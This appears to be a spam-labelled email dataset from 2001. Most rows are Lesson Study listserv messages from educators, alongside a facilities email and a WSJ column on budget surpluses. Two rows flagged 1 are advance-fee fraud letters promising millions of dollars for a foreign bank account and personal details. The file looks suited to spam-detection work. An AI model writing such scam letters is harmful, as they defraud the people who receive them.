,"Mon, 20 Aug 2001 09:19:45 -0400",Re: Lesson Study in High School Math,"Dear Jane, I hope to begin a very small lesson study with high school science teachers in the fall. I would love to be in contact with you about this as it's my first attempt. I'd love to ask you some questions about how you introduced it to the teachers in your previous lesson study. For example, a lot of people I've talked to about lesson study respond ""isn't that just lesson planning. we already do that."" Is it worth explaining how lesson study is different or just accept that as a beginning and let them see how it is different? Also, did you ever have problems with the discussion where for example teachers didn't necessarily really want to think through and discuss the ""why"" for their decisions? One final thought re: your work. I know somebody who has done lesson study in Math for GED teachers. She is very committed to lesson study and had a great experience. It's not a formal highschool setting but still might be valuable. I will forward your e-mail to her. Let me know if you want to pursue that discussion. Lisa Simon Gateway Institute for Pre-College Education ---------- Original Message ---------------------------------- From: ""Jane Gorman"" Reply-To: ""Lesson Study Listserv"" Date: Mon, 20 Aug 2001 07:47:10 -0400 > >My colleagues and I at Education Development Center in Newton, >Massachusetts are working on a proposal that would bring lesson study to >high school mathematics teachers in the Boston area. We have for the past >year been working with one group in Watertown, Mass and have a two more >groups starting up this fall. > >At the present time, I don't know of very many high school settings where >there is lesson study work going on, but would like to be in touch with >anyone who is doing this work. If you have a high school lesson study >group going or are doing research in this area, please contact me. > >Thanks very much. > >Jane Gorman >Center for Mathematics Education >Education Development Center, Inc. >55 Chapel Street >Newton, MA 02458 > >617-618-2807 >jgorman@edc.org > > > > > >--- >You are currently subscribed to lessonstudy as: lsimon@ccny.cuny.edu >To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu > --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 Debbie Junk ,Lesson Study Listserv ,"Mon, 20 Aug 2001 08:34:52 -0500",Re: Lesson Study in High School Math,">Dear Jane and Lisa, I am not doing a lesson study with high school, but am planning on using the lesson study design of professional development as a catalyst for helping elem teachers reflect on and improve the daily interactions with students in math. I have yet to write my proposal for my dissertation, but this is my intent. So if anyone out there is doing any part (math related, interactions, OR elementary) I think we would have things to share. I have found a book, Teaching and Learning in Japan eds. Rohlen and LeTendre which may be helpful. I also am planning on attending the AERA conference next spring in New Orleans, and perhaps this could be a meeting place for those interested in implementing Japanese lesson Study in the US. Any thoughts? Debbie Junk junkdeb@mail.utexas.edu >Dear Jane, >I hope to begin a very small lesson study with high school science >teachers in the fall. I would love to be in contact with you about this >as it's my first attempt. > >I'd love to ask you some questions about how you introduced it to >the teachers in your previous lesson study. For example, a lot of >people I've talked to about lesson study respond ""isn't that just >lesson planning. we already do that."" Is it worth explaining how >lesson study is different or just accept that as a beginning and let >them see how it is different? > >Also, did you ever have problems with the discussion where for >example teachers didn't necessarily really want to think through >and discuss the ""why"" for their decisions? > >One final thought re: your work. I know somebody who has done >lesson study in Math for GED teachers. She is very committed to >lesson study and had a great experience. It's not a formal >highschool setting but still might be valuable. I will forward your >e-mail to her. Let me know if you want to pursue that discussion. > >Lisa Simon >Gateway Institute for Pre-College Education > ---------- Original Message ---------------------------------- >From: ""Jane Gorman"" >Reply-To: ""Lesson Study Listserv"" > >Date: Mon, 20 Aug 2001 07:47:10 -0400 > >> >>My colleagues and I at Education Development Center in Newton, >>Massachusetts are working on a proposal that would bring >lesson study to >>high school mathematics teachers in the Boston area. We have >for the past >>year been working with one group in Watertown, Mass and have >a two more >>groups starting up this fall. >> >>At the present time, I don't know of very many high school settings >where >>there is lesson study work going on, but would like to be in touch >with >>anyone who is doing this work. If you have a high school lesson >study >>group going or are doing research in this area, please contact >me. >> >>Thanks very much. >> >>Jane Gorman >>Center for Mathematics Education >>Education Development Center, Inc. >>55 Chapel Street >>Newton, MA 02458 >> >>617-618-2807 >>jgorman@edc.org >> >> >> >> >> >>--- >>You are currently subscribed to lessonstudy as: >lsimon@ccny.cuny.edu >>To unsubscribe send a blank email to >leave-lessonstudy-339867X@listserv.tc.columbia.edu >> > >--- >You are currently subscribed to lessonstudy as: junkdeb@mail.utexas.edu >To unsubscribe send a blank email to >leave-lessonstudy-339867X@listserv.tc.columbia.edu -- --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 Emily Dann ,Lesson Study Listserv ,"Mon, 20 Aug 2001 09:50:41 -0400",Re: Lesson Study in High School Math,"Dear Debbie, Where are you located? We are doing a small amount of lesson study in connection with our professional development here at Rutgers at the elementary mathematics level. Emily Dann At 08:34 AM 8/20/2001 -0500, you wrote: >>Dear Jane and Lisa, > > I am not doing a lesson study with high school, but am planning > on using the lesson study design of professional development as a > catalyst for helping elem teachers reflect on and improve the daily > interactions with students in math. I have yet to write my proposal for > my dissertation, but this is my intent. So if anyone out there is doing > any part (math related, interactions, OR elementary) I think we would > have things to share. > I have found a book, Teaching and Learning in Japan eds. Rohlen > and LeTendre which may be helpful. I also am planning on attending the > AERA conference next spring in New Orleans, and perhaps this could be a > meeting place for those interested in implementing Japanese lesson Study > in the US. Any thoughts? > >Debbie Junk >junkdeb@mail.utexas.edu > >>Dear Jane, >>I hope to begin a very small lesson study with high school science >>teachers in the fall. I would love to be in contact with you about this >>as it's my first attempt. >> >>I'd love to ask you some questions about how you introduced it to >>the teachers in your previous lesson study. For example, a lot of >>people I've talked to about lesson study respond ""isn't that just >>lesson planning. we already do that."" Is it worth explaining how >>lesson study is different or just accept that as a beginning and let >>them see how it is different? >> >>Also, did you ever have problems with the discussion where for >>example teachers didn't necessarily really want to think through >>and discuss the ""why"" for their decisions? >> >>One final thought re: your work. I know somebody who has done >>lesson study in Math for GED teachers. She is very committed to >>lesson study and had a great experience. It's not a formal >>highschool setting but still might be valuable. I will forward your >>e-mail to her. Let me know if you want to pursue that discussion. >> >>Lisa Simon >>Gateway Institute for Pre-College Education >> ---------- Original Message ---------------------------------- >>From: ""Jane Gorman"" >>Reply-To: ""Lesson Study Listserv"" >> >>Date: Mon, 20 Aug 2001 07:47:10 -0400 >> >>> >>>My colleagues and I at Education Development Center in Newton, >>>Massachusetts are working on a proposal that would bring >>lesson study to >>>high school mathematics teachers in the Boston area. We have >>for the past >>>year been working with one group in Watertown, Mass and have >>a two more >>>groups starting up this fall. >>> >>>At the present time, I don't know of very many high school settings >>where >>>there is lesson study work going on, but would like to be in touch >>with >>>anyone who is doing this work. If you have a high school lesson >>study >>>group going or are doing research in this area, please contact >>me. >>> >>>Thanks very much. >>> >>>Jane Gorman >>>Center for Mathematics Education >>>Education Development Center, Inc. >>>55 Chapel Street >>>Newton, MA 02458 >>> >>>617-618-2807 >>>jgorman@edc.org >>> >>> >>> >>> >>> >>>--- >>>You are currently subscribed to lessonstudy as: >>lsimon@ccny.cuny.edu >>>To unsubscribe send a blank email to >>leave-lessonstudy-339867X@listserv.tc.columbia.edu >> >>--- >>You are currently subscribed to lessonstudy as: junkdeb@mail.utexas.edu >>To unsubscribe send a blank email to >>leave-lessonstudy-339867X@listserv.tc.columbia.edu > > >-- > >--- >You are currently subscribed to lessonstudy as: dann@rci.rutgers.edu >To unsubscribe send a blank email to >leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 Robert Baroz ,Lesson Study Listserv ,"Mon, 20 Aug 2001 10:01:34 -0400",Re(2): Lesson Study in High School Math,"lessonstudy@listserv.tc.columbia.edu writes: > >I'd love to ask you some questions about how you introduced it to >the teachers in your previous lesson study. For example, a lot of >people I've talked to about lesson study respond ""isn't that just >lesson planning. we already do that."" Is it worth explaining how >lesson study is different or just accept that as a beginning and let >them see how it is different? Jane, When we were looking at doing lesson study with the support of a grant, I showed a video on it. Seeing the process helped clarify what it is. Teachers commented ""Oh we can do that. If there were a school near us that did it, I would have suggested visiting. Maybe someday lesson study will be a norm in schools. Robert --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Liisa Simon ,Lesson Study Listserv ,"Mon, 20 Aug 2001 10:01:01 -0400",Re: Re(2): Lesson Study in High School Math,"was your video of American teachers discussing the planning? If yes, where did you get the video? Lisa ---------- Original Message ---------------------------------- From: ""Robert Baroz"" Reply-To: ""Lesson Study Listserv"" Date: Mon, 20 Aug 2001 10:01:34 -0400 >lessonstudy@listserv.tc.columbia.edu writes: >> >>I'd love to ask you some questions about how you introduced it to >>the teachers in your previous lesson study. For example, a lot of >>people I've talked to about lesson study respond ""isn't that just >>lesson planning. we already do that."" Is it worth explaining how >>lesson study is different or just accept that as a beginning and let >>them see how it is different? > >Jane, > >When we were looking at doing lesson study with the support of a grant, I >showed a video on it. Seeing the process helped clarify what it is. >Teachers commented ""Oh we can do that. If there were a school near us >that did it, I would have suggested visiting. Maybe someday lesson study >will be a norm in schools. > >Robert > > >--- >You are currently subscribed to lessonstudy as: lsimon@ccny.cuny.edu >To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu > --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 """Brown, Catherine Ann"" ",Lesson Study Listserv ,"Mon, 20 Aug 2001 09:51:04 -0500",RE: Lesson Study in High School Math,"I have funding from Lucent Tech Foundation to do lesson studies with high school math teachers. -----Original Message----- From: Jane Gorman [mailto:JGorman@edc.org] Sent: Monday, August 20, 2001 6:47 AM To: Lesson Study Listserv Subject: Lesson Study in High School Math My colleagues and I at Education Development Center in Newton, Massachusetts are working on a proposal that would bring lesson study to high school mathematics teachers in the Boston area. We have for the past year been working with one group in Watertown, Mass and have a two more groups starting up this fall. At the present time, I don't know of very many high school settings where there is lesson study work going on, but would like to be in touch with anyone who is doing this work. If you have a high school lesson study group going or are doing research in this area, please contact me. Thanks very much. Jane Gorman Center for Mathematics Education Education Development Center, Inc. 55 Chapel Street Newton, MA 02458 617-618-2807 jgorman@edc.org --- You are currently subscribed to lessonstudy as: cathbrow@indiana.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 John Wilkins ,Lesson Study Listserv ,"Mon, 20 Aug 2001 09:30:31 -0700",Re: Lesson Study in High School Math,"Hi Jane I am working with 15 teachers in a high school setting in the topic of Algebra. We started last year under a grant in California. But we have started our work around the unit or chapter. We pay for student-free days and sit down and plan the entire unit (chapter) together. We have done two units so far and this year we will do four. I found thus far that teachers are more engaged in improving their teaching in this form of ""unit study"" than with the traditional staff development work I was doing before with them. I am not sure what topics you are working on, but if it is in algebra or even pre-algebra it would be great if we could share ideas and products. John Wilkins >My colleagues and I at Education Development Center in Newton, >Massachusetts are working on a proposal that would bring lesson study to >high school mathematics teachers in the Boston area. We have for the past >year been working with one group in Watertown, Mass and have a two more >groups starting up this fall. > >At the present time, I don't know of very many high school settings where >there is lesson study work going on, but would like to be in touch with >anyone who is doing this work. If you have a high school lesson study >group going or are doing research in this area, please contact me. > >Thanks very much. > >Jane Gorman >Center for Mathematics Education >Education Development Center, Inc. >55 Chapel Street >Newton, MA 02458 > >617-618-2807 >jgorman@edc.org > > > > > >--- >You are currently subscribed to lessonstudy as: jwilkins@csudh.edu >To unsubscribe send a blank email to >leave-lessonstudy-339867X@listserv.tc.columbia.edu ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ John Wilkins Ph.D. Mathematics Department California State University Dominguez Hills 1000 E. Victoria, Carson CA 90747 Office (310) 243-3380 FAX (310) 516-3627 --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Barbara O'Neill ,Lesson Study Listserv ,"Mon, 20 Aug 2001 21:52:48 -0400",Re(2): Lesson Study in High School Math,"lessonstudy@listserv.tc.columbia.edu writes: >>Dear Jane and Lisa, > > I am not doing a lesson study with high school, but am >planning on using the lesson study design of professional development >as a catalyst for helping elem teachers reflect on and improve the >daily interactions with students in math. I have yet to write my >proposal for my dissertation, but this is my intent. So if anyone out >there is doing any part (math related, interactions, OR elementary) I >think we would have things to share. > I have found a book, Teaching and Learning in Japan eds. >Rohlen and LeTendre which may be helpful. Where can we buy the book? > I also am planning on >attending the AERA what conference is this > conference next spring in New Orleans, and perhaps >this could be a meeting place for those interested in implementing >Japanese lesson Study in the US. Any thoughts? Is there much work done in this area for elementary studnets in this country? > Many thanks, Barbara > >Debbie Junk >junkdeb@mail.utexas.edu > >>Dear Jane, >>I hope to begin a very small lesson study with high school science >>teachers in the fall. I would love to be in contact with you about this >>as it's my first attempt. >> >>I'd love to ask you some questions about how you introduced it to >>the teachers in your previous lesson study. For example, a lot of >>people I've talked to about lesson study respond ""isn't that just >>lesson planning. we already do that."" Is it worth explaining how >>lesson study is different or just accept that as a beginning and let >>them see how it is different? >> >>Also, did you ever have problems with the discussion where for >>example teachers didn't necessarily really want to think through >>and discuss the ""why"" for their decisions? >> >>One final thought re: your work. I know somebody who has done >>lesson study in Math for GED teachers. She is very committed to >>lesson study and had a great experience. It's not a formal >>highschool setting but still might be valuable. I will forward your >>e-mail to her. Let me know if you want to pursue that discussion. >> >>Lisa Simon >>Gateway Institute for Pre-College Education >> ---------- Original Message ---------------------------------- >>From: ""Jane Gorman"" >>Reply-To: ""Lesson Study Listserv"" >> >>Date: Mon, 20 Aug 2001 07:47:10 -0400 >> >>> >>>My colleagues and I at Education Development Center in Newton, >>>Massachusetts are working on a proposal that would bring >>lesson study to >>>high school mathematics teachers in the Boston area. We have >>for the past >>>year been working with one group in Watertown, Mass and have >>a two more >>>groups starting up this fall. >>> >>>At the present time, I don't know of very many high school settings >>where >>>there is lesson study work going on, but would like to be in touch >>with >>>anyone who is doing this work. If you have a high school lesson >>study >>>group going or are doing research in this area, please contact >>me. >>> >>>Thanks very much. >>> >>>Jane Gorman >>>Center for Mathematics Education >>>Education Development Center, Inc. >>>55 Chapel Street >>>Newton, MA 02458 >>> >>>617-618-2807 >>>jgorman@edc.org >>> >>> >>> >>> >>> >>>--- >>>You are currently subscribed to lessonstudy as: >>lsimon@ccny.cuny.edu >>>To unsubscribe send a blank email to >>leave-lessonstudy-339867X@listserv.tc.columbia.edu >>> >> >>--- >>You are currently subscribed to lessonstudy as: junkdeb@mail.utexas.edu >>To unsubscribe send a blank email to >>leave-lessonstudy-339867X@listserv.tc.columbia.edu > > >-- > >--- >You are currently subscribed to lessonstudy as: >barbara_o'neill@greenwich.k12.ct.us >To unsubscribe send a blank email to >leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 Monica Hartman ,Lesson Study Listserv ,"Wed, 22 Aug 2001 13:23:08 -0400",Lesson Study Web Pages,"Barbara, I have the lesson study videos that are listed on the Japanese Lesson Study Home page: http://lessonresearch.net/ I am planning on using the Perspectives Video when I introduce lesson study to the elementary teachers in my district. I think this one may work well for you too. There are also links to resource articles. Teachers College at Columbia has a lesson study page too. http://www.tc.columbia.edu/centers/lessonstudy/Lesson_Study.htm Does anybody know about any other videos and good web sites for lesson study? I hope this helps. Monica Hartman ""Libby, Barbara J"" wrote: > Can someone send the title, publisher and contact info for this video- I am > interested in reviewing it. > > --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,1 Blake Peterson ,Lesson Study Listserv ,"Wed, 22 Aug 2001 11:37:25 -0600",Preservice Teacher Ed," Hello all, I am curious if anyone on the listserve is doing or is aware of any work on Lesson Study with preservice secondary teachers. Lesson study appears to be a good way to teach preservice teachers how to collaborate with a strong focus on student understanding and mathematics. Even if new teachers don't end up teaching in a school with a lesson study environment, they can at least communicate better with their peers about mathematics lessons as a result of having participated in some form of lesson study group. Thanks to whomever may have information along these lines. Blake -- Blake E. Peterson Brigham Young University Department of Mathematics Education TMCB 264 Provo, Utah 84602 (801) 378-7784 Fax: (801) 378-6058 --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 """Michael F. Vineyard"" ","""Souleret, George"" ","Wed, 22 Aug 2001 13:50:46 -0400",Re: Infrastructure Support for the Computer Upgrade,"Hi George, Sorry I didn't get back to you sooner, but I was out of town last week and the you-know-what's hit the fan since I got back. When do you want to get together to review the proposal(s)? I can do it tomorrow (Thursday) morning or MWF morning of next week. Mike ""Souleret, George"" wrote: > I would like to review the proposal(s) given you regarding the UPS system > for the computer racks. My preference is that a 3 phase UPS be used to > better balance the loads on our transformers and panels. I have a UPS > proposal with approximately 30 minutes of battery backup if your vendor has > trouble with this. (Approximately $26,250) > > I have estimated the air-conditioning and power needs based on the rough > estimates of heat loads and power usages you gave me. The A/C will be for > only the two rooms (servers and personnel) and has the condenser on the > roof. These are very rough for now but should be good budgets: $21,000.00 > for A/C and 3 phase subfeed panel and wiring in UPS (provided separately), > plus roof penetration. > > As you get closer to a decision, I would like to review the specification > sheets to confirm previous loads. -- Michael F. Vineyard Phone: (804) 289-8257 Department of Physics Fax: (804) 289-8482 University of Richmond, VA 23173 E-mail: mvineyar@richmond.edu Web: www.richmond.edu/~mvineyar ",0,0 Steven Appiah ,,"Wed, 22 Aug 2001 23:10:21 +0200",Your Kind Attention!,"Name: Steven Appiah Address: Project Implementation Ministry of Energy and Mineral Resources B612/8 Musuli Lane, Accra, Greater Accra, Ghana. E-mail: stevenappiah001@excite.com Dear Sir/Madam, It is my pleasure to write this letter to you. First, I must ask your utmost confidentiality in this transaction by virtue of it being utterly confidential. I am Mr. Steven Appiah a member of the Ghana Export Promotion Council (GEPC) who was with the government delegation to europe during a bilateral trade conference. I have decided to seek your assistance and co-operation in the execution of a business transaction described here under for the benefit of all parties and hope that you keep it confidential because of the nature of the Transaction. We basically seek your assistance to front in the transfer of US$30,500,000.00(Thirty Million, Five Hundred Thousand United States Dollars Only). Source: I work as a Director of Project Implementation within the Ministry of Energy and Mineral Resources and with co-operation of three other top officials, we have in our possession an overdue payment in US funds. The said funds represents certain percentage of the contract value executed on behalf of my Ministry by a foreign contracting firm, which we the officials over-invoiced by a total amount of US$30,500,000.00 (Thirty Million Five Hundred Thousand United States Dollars). Though the actual contract cost has been paid to the original contractor, leaving the excess balance unclaimed. But by virtue of us being civil servants we cannot acquire this fund in our names, Therefore I was delegated as a matter of trust by my colleagues to look for an overseas partner into whose account we would transfer the funds hence we are writing you this letter. Our government is determined to pay foreign contractors all debts owed so as to maintain continued good relations with both the foreign governments and non government financial agencies. We have decided to include our bills for approval with the co-operation of some officials at the Department of Finance and the Central Bank of Ghana (CBG).We hereby seek your assistance to act as the beneficiary of the unclaimed funds since we are not allowed to operate a foreign account. You will provide us with a good front and partnership to process the remittance of the money to you as a form of contract payment. This process will be an internal arrangement with the departments concerned and we will handle this here, your duty is to act as the contractor and have the contract sum paid to you. I have the authority of my partners to invite you into this matter and with your acceptance of our invitation, your share as compensation will be 30%, and 70% will be for us. The business itself is 100% safe, fail proof and risk-free, provided you treat it with utmost secrecy and you follow my instructions carefully and religiously. Your area of business specialization does not matter as it cannot hinder the successful execution of this transaction. I hope I can put my confidence in you in this matter. Please contact me on my private email: stevenappiah001@excite.com to indicate your willingness and capability to assist us. Thank you for your anticipated co-operation and I await the receipt of your message to enable me bring you into the complete picture of the transaction. Yours faithfully, Steven Appiah. ",1,0 jitzel@state.de.us,Lesson Study Listserv ,"Thu, 23 Aug 2001 12:10:49 -0400",Lesson Study in Delaware,"Lesson Study is moving along successfully in Delaware. I am charged with the task of promoting and facilitating its implementation in schools throughout the state. I will be happy to share any information with anyone interested in knowing how we have gotten this program up and running. Please contact me at my e-mail address below. Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 janet james ,,"Thu, 23 Aug 2001 07:10:50 -0700",please check and see if you can be of assistance,"GOODDAY, CONFIDENTIAL naturally it may interest you to know that i am JANET JAMES Rep of Benin I wonder why i was disown by the family of my father that i was adopted by my father and the culture did not allow me to stay in their family after the news wasbroken to me that my father involve in a motort accident that claim his life and four others. From that very day i was rejected from the family and i learn from my father that i was 16months old when my mother died. I went back to my school in Rep of Benin with the little money i have with me. Two months later i receive a message from my father's lawyer that my father have a consignment contain($10.5m)in a security trust company in europe in which am the next of kin and he handed over all the document to me and advise me to keep away from the family and claim the money for my life make me to realise that throughly i was adopted by my father because my father did not tell me so before that i was adopted. After, i contact the company to confirm and it is true and they are waiting for me to come for the collection. Please i will like you to come to my aid to help me out of this problem for the collection of the consignment and to provide account for safe keeping of the money for investment and to live africa and come to you to live the rest of my live in your country and invest with money after i finish my education. If you can help me i will give to you 20% of the money. Notice that you will sign agreement with me to avoid future mis- understanding. Without no hesitation can i forward your name as beneficiary to the company? waiting your urgent reply and your full name and address and telephone number at janetjames2006@yahoo.com REGARDS Janet ",1,0 jitzel@state.de.us,Lesson Study Listserv ,"Fri, 24 Aug 2001 14:29:41 -0400",Re: Lesson Study in High School Math,"Lisa, please forward information about how you are implementing lesson study in high school. That is one of our goals, and I would love to be able to cite your examples when I speak to high school teachers and principals. Thanks! Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us ---------- Original Text ---------- From: ""Liisa Simon"" , on 8/20/01 9:19 AM: Dear Jane, I hope to begin a very small lesson study with high school science teachers in the fall. I would love to be in contact with you about this as it's my first attempt. I'd love to ask you some questions about how you introduced it to the teachers in your previous lesson study. For example, a lot of people I've talked to about lesson study respond ""isn't that just lesson planning. we already do that."" Is it worth explaining how lesson study is different or just accept that as a beginning and let them see how it is different? Also, did you ever have problems with the discussion where for example teachers didn't necessarily really want to think through and discuss the ""why"" for their decisions? One final thought re: your work. I know somebody who has done lesson study in Math for GED teachers. She is very committed to lesson study and had a great experience. It's not a formal highschool setting but still might be valuable. I will forward your e-mail to her. Let me know if you want to pursue that discussion. Lisa Simon Gateway Institute for Pre-College Education ---------- Original Message ---------------------------------- From: ""Jane Gorman"" Reply-To: ""Lesson Study Listserv"" Date: Mon, 20 Aug 2001 07:47:10 -0400 > >My colleagues and I at Education Development Center in Newton, >Massachusetts are working on a proposal that would bring lesson study to >high school mathematics teachers in the Boston area. We have for the past >year been working with one group in Watertown, Mass and have a two more >groups starting up this fall. > >At the present time, I don't know of very many high school settings where >there is lesson study work going on, but would like to be in touch with >anyone who is doing this work. If you have a high school lesson study >group going or are doing research in this area, please contact me. > >Thanks very much. > >Jane Gorman >Center for Mathematics Education >Education Development Center, Inc. >55 Chapel Street >Newton, MA 02458 > >617-618-2807 >jgorman@edc.org > > > > > >--- >You are currently subscribed to lessonstudy as: lsimon@ccny.cuny.edu >To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu > --- You are currently subscribed to lessonstudy as: jitzel@state.de.us To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 jitzel@state.de.us,Lesson Study Listserv ,"Fri, 24 Aug 2001 14:28:21 -0400",re: Lesson Study in High School Math,"Jane, please share information about how you are implementing lesson study in high school. That is one of our goals, and I would love to be able to cite your examples when I speak to high school teachers and principals. Thanks! Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us ---------- Original Text ---------- From: ""Jane Gorman"" , on 8/20/01 7:47 AM: My colleagues and I at Education Development Center in Newton, Massachusetts are working on a proposal that would bring lesson study to high school mathematics teachers in the Boston area. We have for the past year been working with one group in Watertown, Mass and have a two more groups starting up this fall. At the present time, I don't know of very many high school settings where there is lesson study work going on, but would like to be in touch with anyone who is doing this work. If you have a high school lesson study group going or are doing research in this area, please contact me. Thanks very much. Jane Gorman Center for Mathematics Education Education Development Center, Inc. 55 Chapel Street Newton, MA 02458 617-618-2807 jgorman@edc.org --- You are currently subscribed to lessonstudy as: jitzel@state.de.us To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu",0,0 Liisa Simon ,Lesson Study Listserv ,"Mon, 27 Aug 2001 10:32:28 -0400",lesson study in science classroom,"re how I am (attempting to) do lesson study in the highschool. I'm teaching a course for the Board of Education called Increasing Students' Literacy Abilities in the High School Science Classroom. In this class which meets for 12 weeks, we will learn about 6 literacy strategies and as we learn create lessons to implement them (partly for practice partly to evaluate how relevant these strategies are for science teaching). Once we've got a sense of the ways we can bring literacy into the science classroom, we will develop one lesson plan whose goal is to increase students' literacy abilities. this will be the focus of the second half of the course. Someone will then teach the class while the rest of us watch and then we will evaluate and revise the plan on our last day of class. It's too short a time and the teachers will be coming from different schools but I didn't know how else to begin the process. I don't work in one school but am the literacy person for several schools who work with the Gateway institute which is who I work for. I needed to do literacy staff development with all the teachers but our focus is science and so I begin with the science teachers. If anyone has any advice or thoughts about this, I'd love to hear it. Lisa -- Lisa Simon, Ph.D. Adolescent Literacy Specialist Gateway Institute for Pre-College Education www.gateway.cuny.edu -- --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Phil McLewin ,Phil McLewin ,"Mon, 27 Aug 2001 11:46:10 -0400",WSJ.com,"WSJ.com August 27, 2001 The Outlook The Outlook The federal budget surplus is rapidly shrinking. That's a good thing, but you wouldn't know it from the debate in Washington, where the standard recession-fighting prescription is endangered by a newfound obsession with the Social Security surplus. 1Amid a softening economy, how important is preserving the federal budget surplus? Participate in the Question of the Day. Most economists accept that, at least in theory, the government should offset contracting private activity in downturns by reducing its tax take and by boosting spending, a policy advocated by British economist John Maynard Keynes in the 1930s. Yet after the administration said last week the surplus this year and next will be less than expected, though still among the largest in U.S. history, budget director Mitch Daniels began demanding spending cuts. Democrats responded by condemning anew the tax cut. Both agree the Social Security surplus -- the excess of Social Security receipts over benefits, estimated at $157 billion this year -- must not be touched, thus barring the government from running a deficit in the rest of its budget. On Wall Street, where you'd think preserving surpluses would score points, instead it's considered a really bad idea. ""If the economy needs help today, fiscal stimulus may well be a better bargain than mindless fealty to an accounting fiction about Social Security and Medicare trust funds,"" remarked Neal Soss, Credit Suisse First Boston's chief economist. Jan Hatzius of Goldman Sachs adds that President Bush's defense of the Social Security surplus ""may very well stand in the way of a sensible, countercyclical fiscal policy. After all, a temporary on-budget deficit would be a price well worth paying for averting a recession."" But don't let last week's rhetoric in Washington fool you. Keynesianism is not dead. It's enjoying a revival in some of the oddest places. The International Monetary Fund, whose austerity prescriptions are often blamed for deepening the late-1990s Asian crisis, praises the U.S. tax cut as ""appropriate and timely."" Meanwhile, signs that Germany and France may overshoot their deficit targets have fueled talk of relaxing Europe's strict limits on deficits. But Keynesianism's oddest standard-bearers are President Bush and the supply sider who advises him, Lawrence Lindsey. Mr. Lindsey once labeled Keynes's advocacy of countercyclical fiscal policy ""utopian."" But last month, he said it was only ""common sense economics"" not only to let the budget deteriorate in a slowdown, but to push it along with a tax cut. He compared Democratic critics of the tax cut to Herbert Hoover, who raised taxes in 1932. President Bush is committed to preserving the Social Security surplus, Mr. Lindsey said in an interview last week, but he'd make an exception for war or recession. ""I don't think his is an absolutist view here,"" Mr. Lindsey said. If it turns out the U.S. is in recession, ""then I think he'd be willing to reconsider."" This seems to run counter to Mr. Daniels's demand for spending restraint, but then not many analysts expect the bipartisan defense of the Social Security surplus to prevail against the ingrained momentum for more spending. As long as the economy looks sick, that's probably a good thing. Democratic and Republican economists agree that trying to rope off the Social Security surplus when the economy is sinking is bad economics. Harvard University's Martin Feldstein, who was chairman of President Reagan's Council of Economic Advisers, thinks the record on fine-tuning the economy through countercyclical fiscal policy is awful, but says, ""It's hard to see why we would want to try arbitrarily fine-tuning the economy in the wrong direction."" Princeton University's Alan Blinder, who sat on Mr. Clinton's council, says from the economics angle, an even bigger short-term tax cut would have been the right policy. But this time, good politics trumps good economics. ""When you look out into the future, we really need that revenue for the Social Security system. To win politically you need a symbol that would attract politicians and voters. It turns out that saving the whole Social Security surplus is a pretty good candidate for that. This isn't something that comes out of the economic textbooks, but the political textbooks,"" Mr. Binder says. On this, Mr. Lindsey agrees. There's no economic significance to a balanced budget or any given level of the Social Security surplus. ""But it turns out there's value in the political process to having a number that everyone agrees to."" It used to be zero; now it's $157 billion. For this fealty to balanced budgets, thank the straitjacket of deficits that since 1982 not only made Keynesian countercyclical initiatives impossible, but often led to the opposite. In 1990, President Bush senior had to raise taxes during a recession. Three years later, with the recovery still looking fragile, President Clinton had to abandon a $30 billion stimulus package he'd hoped would reduce the sting of his own tax increase. With the help of Federal Reserve Chairman Alan Greenspan, those moves kicked off a prolonged decline in interest rates, 10 years of prosperity and, ironically, the budget surpluses that today make Keynesian-style stimulus possible. If, as many economists think, the 2001 tax cut has come just in time to head off recession, it may give Keynesian fine-tuning its biggest jolt of credibility in decades. -- Greg Ip Write to Greg Ip at greg.ip@wsj.com2 